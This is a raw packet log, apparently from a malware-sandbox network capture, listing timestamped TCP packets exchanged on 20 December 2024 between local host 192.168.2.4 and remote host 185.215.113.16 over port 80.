Dec 20, 2024 17:11:01.433784008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.433826923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.434286118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.434413910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.434427977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.434472084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.492162943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.492188931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.492225885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.492242098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.492290974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.492465019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.492475033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.492511988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.492854118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.493079901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.493177891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.493189096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.493217945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.493242979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.493746042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.493859053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.493869066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.493901014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.494054079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.494096994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.494306087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.494390965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.494566917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.494576931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.494606018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.494628906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.494812965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.495167971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.495214939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.495320082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.495331049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.495356083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.495549917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496078014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496154070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496165037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496196985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.496216059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.496458054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496885061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496926069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496928930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.496938944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.496982098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.497127056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.497734070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.497780085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.497790098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.497821093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.497844934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.497991085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.498385906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.498428106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.498466969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.498476982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.498512030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.498711109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.499186993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.499277115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.499289036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.499322891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.499340057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.499511957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.499995947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.500040054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.500041008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.500191927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.500298023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.500339031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.500813007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.500854969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.500926971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.500938892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.501117945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.501159906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.501631021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.501735926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.501792908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.501842976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.501853943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.501913071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.502410889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.502454996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.502547026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.502558947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.502602100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.502918959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.503302097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.503341913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.503353119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.503391981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.509443998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.555249929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.555350065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.555360079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.555459023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.555557013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.555623055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.555634022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.555686951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.555833101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.556293011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.556391001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.556401968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.556438923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.556459904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.556622982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.557076931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.557128906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.557137012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.557148933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.557195902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.557631016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.557746887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.557756901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.557794094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.557971954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.558434963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.558481932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.558510065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.558521986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.558559895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.623338938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.623389959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.623404026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.623459101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.623596907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.623653889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.623826981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.623842001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.623879910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.624041080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.624054909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.624095917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.624516010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.624530077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.624542952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.624573946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.624671936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.624721050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.625226021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.625349998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.625363111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.625406027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.625591993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.626174927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.626224995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.626246929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.626269102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.626291037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.626461029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.626971006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.627021074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.627059937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.627074003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.627100945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.627293110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.627357960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.627785921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.627799034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.627810955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.627832890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.680974007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.684489965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684545040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684557915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684601068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.684765100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684849024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684864044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.684947014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684967995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684982061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.684995890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.685026884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.685611963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.685687065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.685699940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.685758114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.685918093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.685966969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.686387062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.686709881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.686758995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.686760902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.687036037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.687048912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.687062979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.687081099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.687103033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.687607050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.687690973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.687704086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.687726021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.687912941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.687952995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.688314915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.688416958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.688427925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.688462973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.688642979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.688685894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.689101934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.689121008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.689166069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.689271927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.689282894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.689322948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.689909935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.689995050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.690006018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.690047979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.690273046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.690320969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.690711021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.690829992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.690840006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.690911055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.691036940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.691078901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.691530943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.691606045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.691617012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.691684008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.691852093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.691982985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.692307949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.692406893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.692418098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.692449093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.692619085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.692662954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.693135023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.693203926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.693216085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.693270922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.693463087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.693519115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.694000959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.694014072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.694045067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.694142103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.694153070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.694207907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.694765091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.694820881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.694833040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.694865942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.695066929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.695528984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.695569992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.695605993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.695616961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.695650101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.743486881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.747694969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.747798920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.747812033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.747847080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.748109102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.748159885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.748342037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.748353958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.748399019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.748465061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.748476982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.748509884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.749032021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.749135971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.749147892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.749181986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.749891996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.750215054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.750368118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.750534058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.750910044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.750955105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.751027107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.751039982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.751077890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.751415014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.751822948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.751835108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.751868010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.751931906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.806001902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.815318108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.815404892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.815417051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.815514088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.815541983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.815556049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.815570116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.815604925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.815619946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.816205025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.816440105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.816488981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.816510916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.816659927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.816673994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.816688061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.816711903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.816736937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.817243099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.817361116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.817373991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.817431927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.817574978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.817651033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.818100929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.818234921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.818258047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.818288088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.818454981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.818509102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.818852901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.818962097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.818975925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.819019079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.819175005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.819216967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.819642067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.819745064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.819756985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.819787025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.819950104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.819992065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.876696110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.876739025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.876750946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.876817942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.876884937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.876899004 CET	80	49744	185.215.113.16	192.168.2.4
